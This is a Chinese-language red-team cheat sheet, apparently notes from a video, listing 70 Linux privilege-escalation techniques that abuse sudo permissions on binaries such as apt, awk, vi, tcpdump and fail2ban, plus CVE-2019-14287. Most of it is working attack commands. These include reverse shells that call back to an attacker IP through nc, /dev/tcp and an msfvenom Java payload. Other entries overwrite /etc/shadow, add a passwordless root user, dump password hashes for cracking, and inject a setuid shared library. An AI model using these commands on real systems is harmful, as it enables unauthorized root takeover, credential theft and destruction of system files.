Linux 提權-sudo
命令有 sudo 的許可權,我們該如何進行提權呢?
跟著紅隊筆記大佬,彙總了一下當我們有sudo -l
時,70條命令可以提權的sudo風暴
影片連線: https://www.bilibili.com/video/BV1DV4y1U7bT/?share_source=copy_web&vd_source=385653377c3ce2be6b055cc4a2e9c3cf
1) CVE-2019-14287
要求:sudo 版本 <= 1.8.28
sudo -l
看到
(ALL,!root) NOPASSWD:/bin/bash
解釋:可以用任何 非root使用者
執行 /bin/bash
命令,也就是我們可以切換到任何非 root 使用者
執行:
sudo -u#-1 /bin/bash
因為 sudo 演算法比較特殊,他會把-1 看成 0,所以我們就獲得了 root 的/bin/bash
2)apt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
啟動一個 /bin/bash
會話
3)apache2
sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmk$OXA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::',perhaps misspelled or defined by a module not included in the server configuration
可以看到它會暴露出 /etc/shadow
第一行的資訊。
把引號裡的 hash 值,拿到去 john 破解,破解出來就可以提權到 root,破解失敗就不可以。
4)ash
sudo ash
ash 本身就是一個 shell
5)awk
sudo awk 'BEGIN {system("/bin/bash")}'
傳遞給 awk,引數執行命令
6)base64
sudo base64 /etc/shadow | base64 -d
可以用 base64 檢視 /etc/shadow
檔案,之後去破解 hash 值,完成提權
7)bash
sudo bash
8)cp
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
TF=(mktemp)
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > $TF
sudo /usr/bin/cp $TF /etc/shadow
mkpasswd 生成密碼的 hash 值,再把密碼按照 /etc/shadow
的格式寫入 mktemp 臨時生成的檔案中,在透過 cp 命令覆蓋掉原來的 /etc/shadow
檔案
需要注意的是:
這種操作是有損的,因為他是覆蓋掉我們原有的 /etc/shadow
檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者
9)cpulimit
sudo cpulimit -l 100 -f /bin/bash
10)curl
kali 準備
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > root_shadow
php -S 0:80
靶機執行:
curl http://192.168.84.128/root_shadow -o /etc/shadow
192.168.84.128
是 kali 的 ip 地址,-o 指定覆寫檔案
需要注意的是:
這種操作是有損的,因為他是覆寫我們原有的 /etc/shadow
檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者
11)date
sudo date -f /etc/shadow
-f 指定從檔案中讀取時間
報錯,但會暴露出 root 使用者的 hash 值,把 hash 值複製出來,用 john 破解,破解成功可以提權,破解失敗就不可以
12)dd(Data Duplicator)
可以用來進行資料備份、克隆磁碟、建立 ISO 映象檔案等操作。
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' | sudo dd -of=/etc/shadow
需要注意的是:
這種操作是有損的,因為他是覆寫我們原有的 /etc/shadow
檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者
13)dstat
它有引數可以指定外掛
find / -name dstat -type d 2> /dev/null
/usr/share/dstat
vim dstat_lingx5.py
寫入
import os; os.execv("/bin/bash",["bash"])
複製到外掛目錄
cp dstat_lingx5.py /usr/share/dstat
執行
sudo dstat --lingx5
14)ed
是一個編輯器
sudo /usr/bin/ed
!/bin/bash
進入 ed 編輯模式,用 !
號告訴系統,啟動系統命令
15)env
sudo env /bin/bash
16)exiftool
vi payload
寫入
(metadata "\c${system('/bin/bash')};")
執行
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu
17)expect
sudo expect -c "spawn /bin/bash;interact"
18)fail2ban
Fail2ban
是一款流行的開源入侵防護軟體,用於保護伺服器免受暴力破解等攻擊。它再出發特定的告警後,會執行相應的規則
a) 更改 fail2ban 配置
find / -name "fail2ban*" -type d 2> /dev/null
/etc/fail2ban
檢視是否可寫
find /etc -wirtable -type d 2> /dev/null
/etc/fail2ban/action.d
我們可以修改 action.d
,他是出發告警後,規定執行規則的指令碼目錄,裡邊的 iptables-multiports.conf
規定了具體的執行
檢視觸發規則
vim /etc/fail2ban/jail.conf
執行
mv iptables-multiports.conf iptables-multiports.conf.bak
cp iptables-multiports.conf.bak iptables-multiports.conf
這樣 iptables-multiports.conf
這個檔案我們就可以編輯了,這個檔案的屬組就屬於我們了
編輯
vi iptables-multiports.conf
# 找到actionban的一行,他是決定我們觸發告警後,fail2ban具體要執行命令的
# 改為
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 4444 > /tmp/f
192.168.84.128
是 kali 攻擊機
重啟服務
sudo fail2ban restart
b) kali 觸發告警
先建立監聽, 埠與編輯的 actionban
的埠一致
sudo nc -lvnp 4444
連續 5 次,空密碼即可 (這裡是根據 /etc/fail2ban/jail.conf
檔案裡的規則確定的)
sudo ssh lingx5@192.168.84.140
192.168.84.140
是目標機器
反彈回來的 shell 就是 root 許可權
19)find
sudo find / -exec /bin/bash \; -quit
20)flock
sudo flock -u / /bin/bash
21)ftp
sudo ftp
ftp> !/bin/bash
22)gcc
sudo gcc -wrapper /bin/bash,-s .
23)gdb
sudo gdb -nx -ex '!bash' -ex quit
24)git
sudo git branch --help
輸入
!/bin/bash
25)gzip/gunzip
gzip -f /etc/shadow -t
拿到 hash 值,用 john 去破解
26)hping3
sudo hping3
hping3> !/bin/bash
27)iftop
sudo iftop
!/bin/bash
28)java
在 kail 中,生成反彈 shell
sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f jar -o shell.jar
192.168.84.128
為 kali 的 ip 地址
建立web伺服器
sudo php -S 0:80
# 建立監聽
nc -lnvp 4444
在目標機器上下載並執行
wget http://192.168.84.128/shell.jar
chmod +x shell.jar
sudo java -jar shell.jar
29)jjs
kali中建立監聽
sudo -lvnp 4444
在被攻擊機輸入
echo "java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/192.168.84.128/4444;cat <&5 | while read line; do \$line 2>&5>&5;done']).waitFor()" | sudo jjs
反彈回來執行,想要提高互動性,我們就在反彈一次
# kali中監聽
nc -lvnp 5555
# 4444彈回來的shell執行
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 5555 > /tmp/f
30)journalctl
sudo journalctl
!/bin/bash
31)knife
sudo knife exec -E 'exec "/bin/bash"'
32)less
mktemp ./a
rtcpgt
sudo less rtcpgt
# 輸入
!/bin/bash
33)man
sudo man ls
!/bin/bash
34)more
mktemp ./a
rtcpgt
yes root > rtcpgt
sudo more rtcpgt
!/bin/bash
35)mount
sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount
36)mysql
sudo mysql -e '\! /bin/bash'
37)nano
sudo nano
^R
^X
reset;bash 1>&0 2>&0
多按幾次回車
38)neofetch
TP=$(mktemp)
echo 'exec /bin/bash' > $TP
sudo neofetch --config $TP
39)nice
sudo nice /bin/bash
40)nmap
TP=$(mktemp)
ehco 'os.execute("/bin/bash")' > $TP
sudo nmap --script=$TP
41)node
sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"
42)nohub
sudo nohub /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
43)openvpn
sudo openvpn --config /etc/shadow
拿到hash值,到john破解
44)passwd
sudo passwd root
123456
45)perl
sudo perl -e 'exec "/bin/bash";'
46) php
sudo php -r "system('/bin/bash');"
47)pico
sudo pico
^R
^X
reset;bash 1>&0 2>&0
多按幾次回車
48)pkexec
sudo pkexec /bin/bash
49)python3
sudo python3 -c "import os;os.system('/bin/bash')"
50)rvim
sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'
51)scp
TP=$(mktemp)
echo 'bash 0<&2 1<&2' > $TP
chmod $TP
sudo scp -S $TP x y:
52)screen
sudo screen
按回車
53)script
sudo script -q /dev/null
54)sed
sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts
55)service
sudo service ../../bin/bash
56)socat
sudo socat stdin exec:/bin/bash
57)ssh
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
58)ssh-keygen
vim temp.c
寫入
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
編譯
gcc -shared -fPIC -o temp.so temp.c
提權
sudo ssh-keygen -D ./temp.so
59)strace
sudo strace -o /dev/null /bin/bash
60)systemctl
sudo systemctl
!/bin/bash
61)tcpdump
vim temp.sh
寫入
mknod temp_pipe p && /bin/nc 192.168.84.128 4444 0<temp_pipe | /bin/bash 1>temp_pipe
kali建立監聽
sudo nc -lvnp 4444
執行
chmod +x temp.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
62)tee
echo 'lingx5::0:0:root:root:/usr/bin/bash' | sudo tee -a /etc/passwd
su lingx5
63)timedatectl
sudo timedatectl list-timezones
!/bin/bash
64)tmux
sudo tmux
65)vi
sudo vi
:!/bin/bash
或
sudo vi -c ':/bin/bash'
66)wall
sudo wall /etc/shadow
看到hash,用john破解
67)watch
sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'
68)wget
TP=$(mktemp)
chmod +x $TP
echo '/bin/bash 1>&0 ' > $TP
sudo wget --use-askpass=$TP 0
69)zip
sudo zip foo /etc/hostname -T -TT 'bash #'
70)xxd
sudo xxd /etc/shadow | xxd -r
拿到hash值,去john破解